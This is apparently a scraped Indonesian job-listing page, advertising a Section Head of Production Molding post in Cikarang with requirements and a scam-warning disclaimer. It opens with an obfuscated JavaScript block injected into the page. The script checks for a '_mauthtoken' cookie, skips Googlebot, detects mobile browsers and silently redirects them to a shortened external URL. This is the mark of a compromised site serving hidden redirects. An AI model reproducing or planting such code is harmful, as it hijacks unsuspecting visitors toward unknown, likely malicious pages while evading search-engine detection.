var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
3. Section Head – Production Molding
Masa Berlaku Iklan:
19 Apr 2023 – 13 Jun 2023
Requirement
- Pendidikan S1 Jurusan Teknik
- Mampu berkomunikasi B. Inggris dan lebih diminati B. Jepang
- Pernah bekerja di perusahaan Manufaktur Automotive min. 2 tahun dibagian yang sama
- Paham Management Injection Molding dan bisa membuat setting mesin Injection
- Mampu menghitung kapasitas produksi (Mesin dan Man Power) dan pelaksanaan di lapangan
- Mengerti Management Maintenance mesin Molding dan peralatan pendukungnya
- Mengerti Horenso, komunikasi vertikal dan horizontal
- Dapat memanajemen Team dengan baik
- Siap bekerja dibawah tekanan
- Memiliki sikap Leadership dan Inisiatif yang tinggi
- Berdomisili di Cikarang dan bersedia Join secepatnya
- Minimal Usia 25 Tahun
Informasi selengkapnya dan link pendaftaran: DI SINI
Informasi pekerjaan lainnya:
Tips Seputar Pekerjaan:
Disclaimer:
Dalam mencari pekerjaan, sangat penting bagi calon pelamar untuk berhati-hati terhadap lowongan kerja yang tidak jelas atau mencurigakan.
Beberapa tanda-tanda umum lowongan kerja penipuan adalah ketidakjelasan mengenai perusahaan yang merekrut, proses seleksi yang tidak biasa, imbalan yang terlalu besar untuk pekerjaan yang diinginkan, dan permintaan pembayaran dari calon pelamar.
Oleh karena itu, sebelum melamar pekerjaan, sebaiknya pelamar melakukan pengecekan terhadap perusahaan yang memberikan lowongan kerja tersebut.
Pelamar dapat memeriksa informasi perusahaan melalui website resmi atau portal resmi yang telah ditautkan diartikel ini. (rvk)
Dapatkan informasi LOKER BUMN terbaru dan link bagi-bagi DANA Kaget di Grup Telegram Loker.
